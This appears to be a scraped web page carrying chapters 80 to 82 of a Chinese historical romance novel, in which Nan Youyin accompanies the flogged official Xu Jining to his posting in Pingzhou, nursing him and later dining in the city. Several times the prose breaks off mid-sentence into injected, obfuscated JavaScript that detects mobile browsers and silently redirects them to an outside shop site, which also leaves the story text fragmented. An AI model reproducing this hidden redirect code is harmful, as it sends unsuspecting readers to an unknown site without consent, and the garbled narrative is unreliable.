天空依旧一片暗沉,叫人分辨不出时间,接连数日秋雨连绵,空气中潮湿寒冷,裹挟着秋天的萧瑟,只往人领口里钻。 到了徐夫人的院子,大哥二哥还有徐老爷都在,徐老爷跟徐缄平身上的朝服都还没换,一众人坐在那里,脸色都不太好看,屋内比屋外还要阴沉,仿佛屋内要飘起秋雨。 “老爷,太太。”南有音规规矩矩地行礼问候。 徐老爷点点头回应,叫她一边坐下了,徐夫人则全然一点反应,那张素来威仪的脸上又一次挂满了忧惧,像极了当初宫中传来徐寂宁外派岭南的消息时。 “出什么事了吗?”南有音问道。 徐老爷与长子徐缄平对视一眼,而后徐缄平开口说起近日与今早朝堂的事,大概便是岭南一案杀戮过甚,朝中大臣多有不满,但皇帝的意思非常明显,此事不愿再提,唯有徐寂宁一而再再而三的上奏。 “前日皇上宣徐寂宁入宫后便一直没放他回来,命他冒雨监斩,以示皇上对岭南一事决断的决绝,”徐缄平担忧道,“但寂宁……” 他轻微摇了摇头,大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“可是即刻启程,”徐夫人颤抖道,“杖责五十……寂宁如何去得了,他……他自小,他自小没吃过这样的苦头……” “寂宁太过刚直天真,到这一步也是难免。”徐朗露出痛切自责,“也怪我,他是家里最小的,对他终究是有些纵容,不愿叫他沾了官场的油滑气息,才导致如今这样……” 南有音不觉得徐寂宁有错,甚至敬佩他的勇气,若是她,未必敢再三忤逆掌握天下生杀的皇帝。 或许是因为支持了徐寂宁一次又一次的上奏使她觉得自己有些许的责任,也或许是出于朋友知己之间应该同甘共苦的想法,也或许是两人都未曾发现的一些微妙情感因素,也有可能因为她听到了平州二字,没来由地怀念起北域苍茫巍峨的高山……总之,南有音说道:“太太,我随寂宁一起吧。” “有音……”徐太太抬眸望向她,充满绝望的细长眼睛里终于重燃了一点光,“你……” 南有音说道:“我的家乡也是平州,这次便当回去看看了。” 一切又像上次岭南之行一样,徐夫人拉着南有音的手道谢,她望着这个姑娘,又一次流露出母亲哀切地恳求,颓然失神地说道:“有音,你是个好姑娘,委屈你了……” “太太,没关系的。”南有音再一次张开臂膀,搂住徐夫人,尽管两人关于生育与松梯的婚事上并不愉快,但这次她是自愿去平州,更也无法不怜悯一位失意的母亲。 “我和寂宁不在京城的这些时日,劳烦太太照顾一下我的父母,”南有音请求道,“还有,松梯……” 松梯的婚礼没有结束,她已带着匆忙收拾的一点行李,直奔京城北门,要登上徐寂宁北上的马车。 80. 不蔽 杖责五十不是什么小刑罚,徐寂宁也并非身骨硬朗的人,五十板子下来,徐寂宁痛得发麻,浑浑噩噩,不省人事,只隐约记得自己被抬上了马车,即刻启程去平州府下的一个县里赴任。 恍恍惚惚中,他趴在马车上,耳边是车轮滚动的声音,道路不平时马车震颤带来的疼痛令他时而昏迷时而清醒,他感受到马车停了一下,听到一个熟悉又好听的声音。 马车再度启程,道路的沟壑似乎都在今天无限放大了,平日寻常不过的几下颠簸都令他痛得几乎丧失意识。 他再次回复感知时,马车走得慢了很多,也平稳了很多,他听到了马车顶传来雨滴敲打声音,外面大概又下起了雨,他闻到了雨天的潮湿的泥土味道,但其中还夹杂着一种淡淡的馨香,那是他很熟悉的味道,南有音的衣服上就有这种味道。 他想他大概是痛出幻觉了,明明马车已经驶出京城了,他却觉得南有音好像还在他身边,甚至他还感受到她在用帕子擦拭自己额角的冷汗。 “你醒了!” 他听到了南有音惊喜地叫声,他竭力侧了侧脑袋,当真看到了那个大眼睛的姑娘。 “你!你怎么来了?”他嗓子嘶哑地厉害。 “我想来就来啦。”南有音轻快道。 “你……”马车又是一个颠簸,他忍不住抽气,等身上疼痛过去之后,才重新慢慢松下来,很是无奈地小声道,“你跟着做什么……” “恐怕,又是受罪……”他声音越来越小。 “有福同享有难同当嘛。”南有音翻找她临时收拾的行李包袱,从里面找到了两个绿色的瓷瓶,打开之后是一股浓烈的药味,呛得她咳嗽了两下,又说道,“还有,我要是不来,就你自己一个,你怎么给自己上药?” “上药?”徐寂宁一愣,此前他只顾着挨痛,其余全然没想。 “嗯,”南有音将绿瓷瓶子放到徐寂宁面前晃悠,“这是太太特意给我带上的,她说若是恢复的好,日后都不会留下疤。” “你感觉怎么样?”南有音担忧地问道,“你知道你身上什么样子吗?” “还好吧。”徐寂宁说完,就感受到了南有音目光的拷问,他只好把头埋进胳膊里,小声道,“好吧,很疼。” 徐寂宁的朝服是绯色的,暗红色的斑斑血迹在上面不太明显,看上去倒也不至于太触目惊心。 他感觉到南有音的手在动,一层一层掀开他的衣服,他先是感到腰部一凉,而后紧张地回头,却扯得身体一阵剧痛。 “你要做什么?”徐寂宁眼冒金星,有气无力地重新趴好。 “上药啊。”南有音研究了一下,解开了徐寂宁的腰带,“杖责五十,是很重的惩罚吧。” “说重也重,说不重也不重,杖责全然在皇上的旨意,若他想叫我死,施刑者加些力气,二十下便足以毙命,若他想让我活着,百八十下也能不伤筋骨。”徐寂宁感觉到南有音在摸他的裤子,他顾不得疼,又急道,“那你脱我的裤子做什么?” “上药啊,”南有音说道,“不把你衣服扒了,怎么给你上药?” “那,那你,你……”徐寂宁不知道说什么好了,他的一张脸烧得通红,一直红到耳朵根。 “你也别想反抗了,”南有音毫不客气道,“你现在这个样,也别想什么有的没的了,好好听我摆布就行了。” 徐寂宁还想挣扎,但他挨了五十大板,压根动不了,只好把脑袋埋到胳膊里,心跳的飞快,他感觉到南有音的手非常小心,一点一点地动作,伴随着一阵一阵的疼痛,黏在伤口上的衣服渐渐被撕下,皮肉暴露在空气中,凉飕飕的,疼痛之余带来强烈的羞耻感。 他知道挨打的地方没有一块完整的皮肉,血喇喇的,他不想叫南有音看到。 南有音起初也免不了心慌,虽然她跟徐寂宁同床共枕了这么久,但除了最初几次她有意推动之外,其余时候都是两人睡得规规矩矩,衣服从不乱扒,故而实际上她没怎么见过徐寂宁的身体。 真叫她掀开衣服,从腰至臀再到大腿的去摸索,她手多少有点抖,脸上也发烫。 可是真的褪去层层布料,映入眼帘的是一片模糊的血肉,新的血与即将干涸的血掺杂着,流淌在青紫红白交替的皮肉上,叫人想不起男女之别,想不起羞耻,只觉得恐惧。 南有音半晌说不出话,发现徐寂宁肩头一直轻微地抖,她带着安抚的意味,摸了摸他埋在臂膀里的脑袋,轻声道:“很疼吗,等上完药一会儿就好了……” “呜……”徐寂宁发出一声不知道是应答还是呜咽的细小声音,“你不要看……” “没关系的,”南有音温和道,“我不会介意,我只担心你是不是很痛。” 徐寂宁依旧咬着嘴唇,微微颤抖着,脸上和耳根的红晕几乎蔓延到了脖子上,无意识中掉了几滴眼泪。 南有音见他这样害羞,便不跟他说话了,认真擦干净血迹,处理伤口起来,偶尔碰到那些伤的重的位置,徐寂宁便忍不住痛吟或者倒抽冷气,他想忍住却总忍不住。 每当这时南有音就有点局促地道歉,她确实为那些伤痕心惊胆战。 在南有音第四次道歉的时候徐寂宁终于开口说话了,他制止了她道歉,他脑袋依旧埋在胳膊里,声音听上去又闷又虚弱:“有音,你不用道歉,反倒是我,总是拖着你受苦,总是连累你受累……应该是我说对不起,还有谢谢……” “嘻嘻,不用谢,”南有音见徐寂宁愿意说话了,便开起玩笑,好叫马车里的氛围没那么沉闷,“还没给你上药呢,最磨人的步骤还没来呢,呆会儿你忍住别叫,省得别人误会我在折磨你。” “我又没叫的声音很大。”徐寂宁闷闷道,他猛地一缩脖子,因为感受到南有音的手放在上面掐了掐。 “你要掐死我?”他无力问道。 南有音被逗笑了。 “徐寂宁,”她靠在他耳边吹气,又捏了捏他的脖子,“我的意思是你不要这么害羞嘛,一直埋在头,脖子不僵吗?” 徐寂宁略微抬抬头,露出一只眼睛,正巧瞧到南有音冲着他笑,她眼睛弯弯的,笑容也甜甜的,连带着说话的语气也有着一点哄小孩儿的意味在里面:“放心啦,现在我是江湖郎中南有音,无论男女老少,在我面前就是几块没有分别的肉而已,你不要不自在啦。” 徐寂宁还是很不自在,但他还是说道:“……有音,谢谢你。” 南郎中处理好徐寂宁的伤口,又继续上药,徐寂宁确实忍住了没喊没叫,但却少不了哼哼唧唧,像受了天大的委屈的小狗。 上完药,徐寂宁冒出冷汗的将头发粘在额角,南有音掏出手帕,他却不叫南有音擦,说不能什么都叫她一个人做了,南有音分辨现在你伤成这幅样子,还想做什么,他说他的手又没伤,南有音便随他去了。 但没过一会儿,徐寂宁就没动静了,南有音小心翼翼听了听他的心跳,发现他只是刚刚捱痛太累,垫着那方月白帕子睡过去了。 南有音叫车夫再平稳些,将衣物轻轻盖在徐寂宁身上,她注视着他的睡颜片刻,见他眼睫颤动,便又收回了目光,她没打算把他盯醒了。 她坐在车窗边,静静注视着沿途的风景,静静注视着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14475684|154041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天色一点一点变黑,在天彻底黑下来之前,到了一个沿途驿站,便在此住下了。 徐寂宁走不了路,一动一行均需要人搀扶,南有音和驿站的人花了好多功夫才将徐寂宁从车上搀下来,下了车后的剩下的平地便还好,南有音一个人也够用了。 驿站提供的伙食不怎么样,但南有音已经饿坏了,从徐府走得万分匆忙,只记得要紧的,备了好多银票伤药,饮食是半点没有,同其余东西一样,只能在路上补齐了。 徐寂宁现在是站也站不起来,坐也坐不起来,只能老老实实地趴着,南有音几口匆匆吃完,又端着勺子筷子,来喂徐寂宁。 徐寂宁越吃越不好意思,没想到自己二十多岁的年纪还有需要别人喂饭的一天,他悄悄去瞅南有音,心里愧疚总麻烦她,却正巧撞上了她的目光。 南有音正吹凉勺子里的粥,见状放下勺子,问道:“怎么啦?” “没怎么。”徐寂宁立刻道。 南有音探寻的注视他,他果真敌不过她的目光,挪开视线,低声道:“我觉得总麻烦你,怪不好意思的。” “这有什么,”南有音搅了搅手里的粥,无所谓道,“改天你好了,也伺候我几天呗。” 随后她又露出几丝坏笑:“你现在这个样子,只能乖乖听我的话了,我可要痛快几天。” 徐寂宁下意识嘟囔道:“我什么时候不听你的话了。” 接着他马上意识到这句话带着些撒娇和调情的意味,脸有点红,但他转念一想,他说得好像也没什么错,在大多数问题上,南有音是少有的会与他保持一致步伐的,似乎用不着谁听谁的,他们总是不约而同。 饭后南有音数出不少银两,托驿卒去买些干净衣物,毕竟后徐寂宁总不能穿着那件沾满血迹的衣服走一路。 衣服送来,南有音抖了抖衣服,放在床头,伸手去揭徐寂宁的衣服,徐寂宁却握住她的手腕,局促道:“我自己来。” 南有音狐疑道:“你能行?” 虽然这样说,她还是离开了房间,在外面等了好久,只听到屋内徐寂宁低低唤了他一声:“有音……” 她进屋,发现床上一片凌乱,徐寂宁身上还是那件血衣,头发却散了,他脑袋埋在了枕头里,露在外面可见的耳朵通红。 “帮帮我,有音。”徐寂宁小声恳求道,声音又闷又颤,怪可怜的。 “我就说了你自己不行吧。”南有音摸索着解开徐寂宁的扣子,一件一件脱下来,指尖免不了触碰到徐寂宁的肌肤,触碰的多了,她渐渐也有点紧张了,她没怎么见过徐寂宁的身体,今天彻底一览无余,叫她心脏乱跳。 她甚至抬手摸了摸徐寂宁的肩胛骨,手下的人没有反抗的余地,只轻微的哼了一声,传递出一阵战栗。 “我只是想知道是什么手感而已。”她解释道,掌下的肌肤温热鲜活,包裹着紧实的肌肉与跳动的心脏,一切都使得她非常清晰的意识到这具躯体的主人是一个男人,这确实叫她有那么些慌乱。 南有音手忙脚乱,花了好多功夫才将徐寂宁的衣服收拾好,一切安静下来之后,她有点不敢看徐寂宁,徐寂宁也有点不敢看她了。 两人偷偷去看彼此,发现对方的脸都挺红。 “咳,”南有音干咳一声,缓解氛围,“倒也不是第一天知道你是男的,我是女的,反正你跟我抬头不见低头见,也就别太见外了。” “嗯……”徐寂宁很小声的应了一声,继续埋着头。 南有音收拾完自己,便躺在了徐寂宁身边,吹灭了灯,完成了往日这个总是由徐寂宁来完成的工作。 81. 汪洋 虽然熄了灯,但南有音一直没睡着,或许是她跟徐寂宁的位置调换了一下,变成了她睡在外面,徐寂宁趴在里面,她一时不适应,在安静的黑夜里罕见的异常清醒,白日匆忙中来不及细想的诸多事情,全都一股脑地冲进脑海里了,叫她翻来覆去。 “有音,你怎么了?”睡在里侧的徐寂宁轻声问道。 “我在想玉振还有松梯的事。”南有音翻了身,最后平躺在床上,说起南玉振离家出走参军,也说起早上松梯的热闹婚礼。 “早上还为这些事发愁,”她沉沉叹道,“晚上却到了这里,连跟松梯好好说一声的功夫都没有。” 她跟徐寂宁都沉默了一小会,最后她有些埋怨道:“徐寂宁,你到底是怎么把自己搞成这幅模样的?” 徐寂宁其实也不太清楚。 岭南一事回京后,徐寂宁在朝堂春风得意,皇帝常赞他青年才俊,给他连升了几阶,用旁人的话说,他是有点不知好歹了,仗着皇帝的赏识,便总是一而再再而三的上书为岭南罪人求情,明知皇帝不愿意,却还说那些赋税的事。 到后面,他跟皇帝确实渐渐不对付起来,但他有什么办法,他如何跟皇帝抗争,他有些心灰意冷,甚至萌生出退出官场的想法,可这时皇帝偏偏又召他入宫。 “就是上次,你找人捎信让我回去,跟我商量松梯的事那次”,徐寂宁说道,“那次皇帝召我入宫,态度缓和了许多。” 他回忆着那天的情形道:“那天陛下召我入宫,他在看奏折,似乎为什么事苦恼,他同我讲起了度田和重新编订户籍的事,问我知不知道其中一大阻碍,不等我答他便说‘官官相护,硕鼠甚多’,他说他要整顿纲纪,从京城到地方,无一不得清廉。我听陛下这样说,自然很高兴,毕竟早该整顿了,陛下又话锋一转,说起我来,他说知道当初度田时我没有受贿折服,也知道在铜城我明知他要除掉永安王仍一意孤行去鲁蝶岛调查实情,我摸不准他要说什么,就不作声,不想他却忽然夸起我来,说朝中百官没有一个人能跟我一样……” “总之,那天他同我说了许多,称赞我许多,又说日后希望我能当他的肱骨,也略略说了一点他自己的难处,也总是身不由己,他说得诚挚,叫我觉得他好像没有那么深不可测了,”徐寂宁叹了口气,继续道,“你如果见了陛下就会知道,他很有城府,偏偏又很会说话,跟这样的人相处,总是不小心就被绕进去了……” “之后便是今天早朝,那位中书门下的林大人又提起岭南的事,有人发难,将其为百姓求情改成为永安王求情,质问他视皇上颜面何存,我想起前日皇帝对我说得那些话,以为他在岭南一事上的态度有所松动了,便为林大人辩护了几句,百官争执了一番后,皇上不悦,说他分明提过岭南之事不许再议,林大人沉默了片刻,还是说道‘倘若陛下有错,老臣岂能视而不见’,便又有人说‘倘若人人都像林大人一样,那么天家颜面何在’,皇帝似乎更赞同后者的话……”徐寂宁顿了一下,在夜色中无人察觉的垂下眼帘,“之后我大概是有些冲动了,便直接问起帝王的私欲与百姓的幸福孰轻孰重——” 现在想起早朝时一番不计性命的孤勇,徐寂宁隐隐有些后怕:“后来的事你也知道了,下朝路上我被叫了回去,领了五十大板,也没能赶上松梯的婚事……” 他叹了口气,欲言又止:“临走时,皇帝见了我一面,叫我记得他说过的话,他见我不明白,便说有只小老鼠,问我愿不愿将他找出来。” 南有音颇为忿忿不平:“你跟那个林大人说的又没错,你不该受罚的,怎么就没人杖责皇——” 她声音压得很低,用只有她与徐寂宁能听到的声音说道,“——怎么就没见有人杖责皇帝几下?” 徐寂宁闷闷地笑了,简短地评价道:“胆大包天。” “这算什么,”南有音小声嘀咕道,“三姐姐留下的那本笔记里面说的更直接更露骨呢。” 她又说道:“不过听你的意思皇帝贬你到平州还有其他的用意?” “硕鼠硕鼠,无食我黍,”徐寂宁轻轻吟诵,“他此前跟我说过要肃清纲纪,大概是要我查一查平州百官,抓出其中的硕鼠吧。” 南有音冷哼一声,这种不屑的语气与南玉振出奇的相似,叫徐寂宁在黑暗中颤抖了一下。 “皇帝要你办事,又何必打你一顿,”南有音不悦道,“我觉得皇帝不像好人,你别被他骗了。” “肃清纲纪朝政总是对的吧,”徐寂宁温声道,“陛下应当也是有些想法的。” 南有音不置可否,她换了一个躺着的姿势,将两只胳膊枕在头底,却忘了驿站的床远比徐府的床小多了,她一个没注意,胳膊肘戳上了徐寂宁的鼻子,撞地他“哎哟”一声。 她急忙查看,见徐寂宁没事后又放心的躺下了,半晌过后,她察觉到徐寂宁还没睡,轻声问道:“徐寂宁,你还痛吗?” “本来就没事,只是你突然撞过来,吓我一跳而已。” “我是问你身上的伤口。” “……还好吧。” “那你怎么还醒着?” “唔……”徐寂宁欲言又止,他有些别的想法,但他不好意思说,这比拜托南有音帮他上药和换衣服还要难堪多了。 “你怎么啦?”南有音问道。 徐寂宁说:“没怎么。” 南有音知道他肯定有什么,索性点亮了灯,但徐寂宁又把脑袋埋进枕头里了。 “你怎么了?”南有音奇怪地注视着他。 徐寂宁感到一道锐利的视线钉在他的脖子上,他被盯得发痒,只好抬起头来:“有音……” 他鼻梁骨上一道淡淡的红印子,显然出自南有音胳膊肘。 “不会是伤口很疼吧?” “疼是疼,也没有刚开始那么厉害了……”他见她一脸担忧,他不想她这样,张口又闭口,咬了数次嘴唇,吞吞吐吐,窘迫地道出实情,“……我想解手。” “哦。”南有音恍然大悟,嘀咕自己,“我竟然忘了这个。” “你怎么也不跟我说,”南有音又埋怨徐寂宁,“你要是憋坏了怎么办?” 徐寂宁脸红得更厉害了,他又将脑袋埋进枕头,小声道:“有音,你别说了……” “好吧,那就开始解决问题。”南有音被子一掀,两脚蹬上鞋,扶起徐寂宁,将他一只胳膊揽到自己肩上,半背着他,几个麻利又利索的动作完成之后,她忽然后知后觉的意识到了什么。 她,扶着徐寂宁去,上厕所。 她不想细想了,觉得徐寂宁脸上的热气也要弥漫道她的脸上了。 到了该到的地方,她直截了当地对徐寂宁说:“你快点吧。” 但徐寂宁没有动弹,她想了想,便问道:“你一只手不行吗?” 毕竟徐寂宁的一只胳膊还挂在她肩膀上。 但她这话把徐寂宁吓得一哆嗦:“当,当然行,有音,用,用不着你的。” 南有音一愣,然后没忍住笑出声:“我不是那个意思——” 她没说完话,光顾着笑了,因为她搞不懂徐寂宁从哪儿产生的那种荒唐想法,她笑够了之后发现徐寂宁还是没什么动作,便催促道:“你快点,站这儿里冷。” “你,我……”徐寂宁支支吾吾的。 “嗯?”南有音微微仰头,徐寂宁看起来非常的局促不安。 或许是接受到了南有音目光的催促,徐寂宁咬了咬嘴唇,一口气说了出来:“你在这里,我不好意思……” “也是。”南有音点点头,表示理解,却又说道,“但你现在又不能少了人扶着,也没有别的办法了,你就当我不存在好了。” 徐寂宁很难做到,因为南有音很有存在感,至少在他那里是这样。 南有音想了一下,说道:“那我闭上眼睛,捂住耳朵总行了吧。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14483746|154041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她真的死死捂住耳朵,又紧紧闭上了眼睛,片刻后问道:“你好了吗?” 她松开捂着耳朵的手,徐寂宁蚊蚋般小的声音传了进来:“没……” “你快点!”南有音急了,现在入冬了,晚上冷得很,两人站这儿吹冷风可不是什么美事,“大不了下次我小解的时候也让你在旁边行了吧!” 徐寂宁被南有音的话堵得身体一僵,结结巴巴道:“有音,你别生气……” “那你快点!”南有音没好气的重新闭上眼捂住耳朵。 片刻之后,两人又重新躺倒床上,被窝都凉透了。 南有音相当贴心的迅速熄灭了灯,徐寂宁充满羞耻的感觉在黑夜中得以稍作喘息。南有音又摸黑掖被角,摸着摸着摸到了徐寂宁的脸上,热热的,她忍不住嘟囔:“灯都灭了,现在你脸再红我也看不到了。” 徐寂宁没动弹,只小声道:“有音,别生气……” 南有音道:“那你下次麻利点,别折腾我了。” 片刻后,枕边传来委屈又羞耻地一声:“好。” 南有音叹了口气,也不知道怎么劝慰徐寂宁,只默默摸了摸徐寂宁的脖子:“别多想了,都是人,都会这样。” “叫我看到总比被大街上随便哪个人看到好吧,”她不着边际的安慰道,“至少我跟你名义上是夫妻,天天睡在一张床上,也别太见外了。” 自京城到平州的一路,这样的事大大小小层出不穷,起初南有音还尴尬一阵,到了后面,几乎习以为常,甚至会故意口误遮掩的开点下流玩笑调侃徐寂宁两句。 就这样折腾了一路,等快到平州府时,徐寂宁除了自己上不了药,还需要麻烦南有音之外,基本能自己行动了。 在抵达平州府前的最后一个驿站,南有音在灯下继续上药,并且宣布了她的诊断结果:“你康复的不错,应该不会留下疤。” 她继续专注的上药,认认真真涂抹那些临行前徐太太塞给她的药,指尖触碰肌肤,若即若离。 徐寂宁稍稍扭过头去,注视这个半张脸藏在烛光下明灭可见的姑娘,他发现她的垂眸时,烛火的光亮偏离,她那双眼睛依然很亮。 过了不多时,南有音收起药,正好瞥见徐寂宁在瞧自己,便冲他笑了一下,说道:“都这么多天了,你怎么还脸红啊。” 虽说不像最初时,但徐寂宁脸上仍有着淡淡的红晕,他轻声向南有音道谢,但南有音不以为然,而是说道:“说起来你也好的差不多了,之后你还是睡外侧吧。” 这一晚,南有音重新占据了床的内侧,熄灯的重任又重新交给了徐寂宁。重新回到内侧的南有音似乎产生了一切重新归位的奇妙感觉,睡在熟悉的位置,困意也来得格外快。 夜色宁静,徐寂宁照旧没有很快睡着,他目光又落在了南有音的脸上,她闭着眼睛,呼吸安稳。 在她的眼睛闭上时,那惊人的明亮就被藏匿了,徐寂宁伸出手,很轻很轻地触碰了一下她的眼睛,她的眼睫微微颤抖了几下,又归于平静,但徐寂宁觉得心口泛起涟漪。 徐寂宁会在南有音跟前产生了一种体无完肤的感觉,一方面杖责五十确实令他体无完肤,一方面,他觉得他从头到脚,从里到外,不止是□□,早已无一不纤毫毕露的展示在南有音的眼底了,这种毫无掩盖的展露让他卸下屏障与铠甲,充满不安,只要轻轻一戳就能戳到最柔软的部分,甚至轻轻一碰就能碰到最深处的痛楚。 但与之相矛盾的是,一路上他因此而生的恐惧或者其他都渐渐消泯了,有时他望着南有音的眼睛,愈发觉察其中光芒璀璨,他似乎不再因感觉被灼伤而局促地挪开视线了,他渐渐觉得那是一片温暖的汪洋,能够裹挟着他的一切,包容着他的一切。 两人的关系似乎有些异变,似乎成了一种远比朋友,甚至比亲人更亲密的关系。但两人谁也不记得提这件事,便就这样相处下去,也不觉得有什么奇怪 82. 平州 在马车驶入平州城时,南有音撩起门帘,不住的打量,她有七年没有回平州了,不过她的家乡不在平州城内,而是平州府北侧有一个叫月陵的县,也是徐寂宁即将上任的地方。 平州城是整个平州府的中心,故而还算繁荣,南有音拉着徐寂宁大肆采购,衣裳被褥锅碗瓢盆,还有过冬的火炉等等,塞满了一整辆车。 这次离开京城,虽事发突然,走得匆忙,但银票是没少带,南有音还把她写话本子赚得那笔钱也带上了,她点了点剩下的银两,深感满足,便说要带徐寂宁去平州城最有名的酒楼吃一顿。 “我请客。”南有音很是开心的从她自己赚来的积蓄中抽出了一部分,对徐寂宁说道,“今晚最后吃一顿好的吧,等到了月陵,可没什么能伺候你这跟娇贵舌头的,当然啦,平州城的饭菜也未必入得了你的舌头。” 徐寂宁反驳道:“我现在已经改了好多了,大多数东西我都能吃。” “别以为我看不到,你吃的时候会皱眉头。” “那我也咽下去了。” “那今晚要陪我吃个尽兴。”南有音拉着徐寂宁的袖子,往装修最豪华的那栋酒楼走去。 南有音看着菜谱,非常没数的点了满满一桌子,徐寂宁忍不住问她:“就我跟你两个人,吃得完吗?” “你管我,反正我请客,”南有音两眼放光,有些激动道,“徐寂宁,你知不知道,到这里吃一顿饭,是我小时候的梦想!” 很快菜就上齐了,南有音兴高采烈,每盘都夹了几筷子,总觉得缺了点什么,骤然想起北域名酒了,便叫店小二又送了两坛潺山沁。 “平州府的潺山沁可都是正宗的,”南有音快活地斟酒,“你去我家的时候喝过,我记得你挺喜欢的。” 徐寂宁尝了酒菜,酒是美酒,菜略显平淡,也不晓得南有音怎么这样开心。 “小时候在乡下听人说起平州城,说城里有三层高的琉璃瓦酒楼,有四轮的马车,还有数不尽的绫罗绸缎,总觉得是神仙才能住的地方,至于说起京城,小时候的我根本不相信现实里有那么一个繁华地方,怎么可能有寸土寸金的地方呢,怎么可能有那么大的宅邸呢,总以为是大人在骗我们这些小孩玩,”南有音吃吃笑道,“我小时候经常饿肚子,有时候半夜饿醒了,我就会想平州城三层高的酒楼里有什么吃的,告诉你你不要笑啊,那时候觉得萝卜咸菜和白面馒头就是珍馐,压根不会想到原来天下的菜有那么多花样,那时候也在想,站在三层高的楼上能看到什么,我就爬到村里最高的草垛上,站起来远眺,只是看到更多的庄稼地,看到大家扛着锄头铁锨除草或者赶着羊吃草,心想平州的三层酒楼大概也是这样吧,应该没有什么好看的。” 南有音指着窗外灯火辉煌,带着满足的笑意惆怅一叹:“你看,这就是我小时候朝思暮想的景色,平州城的夜色原来是这样啊,车水马龙,蜿蜒不尽的灯笼和酒旗,川流不息的人潮。” 她扶着下巴看了好久,才扭过头对徐寂宁说话:“你在京城呆惯了,肯定不觉得有什么,可这是我小时候最好奇和向往的地方了。” 她又继续望着窗外,又看了好久,叹了口气,重新吃菜:“其实也就那样吧,但在我小时候,做梦也不敢想。” “真的是做梦都不敢想,”她认真对徐寂宁说,“你这样的公子哥儿大概觉得夸张吧,只平州城的一座酒楼罢了,有什么不敢想的。” “放到十年之前,十岁的时候,我永远想不到有一天我能离开那个小山村,有一天我能到平州城的酒楼,这样的情形我真的不敢想的,也不会去想。”南有音快乐地笑道,“真奇怪,我现在忽然有一种不真实的感觉呢,总觉得我太幸运了,都有些怕这只是一场梦,醒来之后又回到小时候那个破破烂烂的小屋,只有我一个人,孤零零的。” 南有音举起酒盏,同徐寂宁碰了一下杯:“不管怎么说,为我坐在这里干杯吧!” 徐寂宁听了南有音兴高采烈的一通话,有些说不出心里的滋味,他确实看不出平州城这座又小又破的酒楼有什么稀奇的,也觉得南有音所说的那些好像另一个世界,毕竟他自小锦衣玉食,总以为大家都跟他一样,但岭南一行他终究是知道自己太想当然了,他早就不再俯视不再高高在上了,他也会低下头,尝试去理解与体会。 他见南有音高兴,便也高兴,与她一起品潺山沁,北域的名酒里似乎也藏着风雪,苍茫醇厚。 南有音实在开心,一杯接着一杯的,酒楼的饭菜或许也没有多么精致,但尝到儿时可望不可即的东西时,满足不再唇舌,而在心间。 其实南有音自己也想不到今夜会这样开心,她以为她在徐府呆的久了,见惯了锦衣玉食,雕楼画栋,会平州城的一切无感,她原只是单纯想跟徐寂宁吃顿好吃的而已,但直到真正踏入平州城酒楼三层的那一刻,那种难以言说的、喜悦与感伤交织的感觉充盈心上。 童年的梦想,迟来的满足,总令人伤怀。 “徐寂宁,我今晚上真的好开心。”南有音觉得眼睛有点潮湿,但仍旧在笑。 南有音泛红的眼尾使得徐寂宁心底也泛起酸楚,他从她的只言片语推断出了一个流离穷困的童年,,记起初见时她又黑又瘦的样子,又想她儿时的渴望竟然这样普通,升起无限的怜爱,轻声道:“有音,你小时候还有什么想做的?我陪你一块。” 南有音轻快地咯咯笑了起来:“徐寂宁,你真聪明,我小时候还不想总是孤零零的,你愿意陪我,太好啦!” 她喝得两颊酡红,有些迷乱的眼睛水光潋滟,视线几乎无法聚焦,徐寂宁不晓得她是认真的还是说醉话,只知道她再喝下去肯定不行。 “潺山沁是烈酒,你喝这么多明天要头痛了。”他温声劝诫。 “明天的事明天再说,”南有音有些期待一般,“明天就到月陵了,我娘和玉振就是月陵县城的人,之后你要陪我回一趟我的村子彤庄,然后再去我爹的村子霞岭……” “好。”徐寂宁耐心地答应了,又说道,“有音,听话,别喝了。” “我就不!” 徐寂宁轻轻夺走了南有音的酒盏,又喝干了里面的酒水。 南有音恼火地抢了回去,重新倒满,徐寂宁又抢着喝了,如此四五次之后,酒坛空了。 “你这人怎么这样?”南有音恼了,“平日里什么都不稀罕,今晚偏偏来抢我的酒。” “我要是不抢,你就都喝了,”徐寂宁耐心道,“喝多了会难受的。” “你喝得比我多!” “我不会喝醉呀。” 南有音冷哼一声:“我不信。” 南有音现在的模样幼稚地可笑,徐寂宁耐心道:“你别不信,你想想又一次去你家,你弟弟想把我灌醉,结果他醉了,我一点事也没有。” 提起弟弟,南有音忽然难过起来了,她不跟徐寂宁争执了,转而垂下眼帘:“要是玉振也在就好了,他小时候肯定跟我一样也梦想上平州城的三层酒楼。” 徐寂宁安慰道:“下次我们也带他来。” “谁知道他什么时候回家,”南有音更难过了,“咱们离开京城一个半月到了平州,玉振的镇西军也不知道到哪儿了,也不知道他在军队呆不呆得惯……” “等以后我们可以去西北看他。”徐寂宁掏出手绢,小心擦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 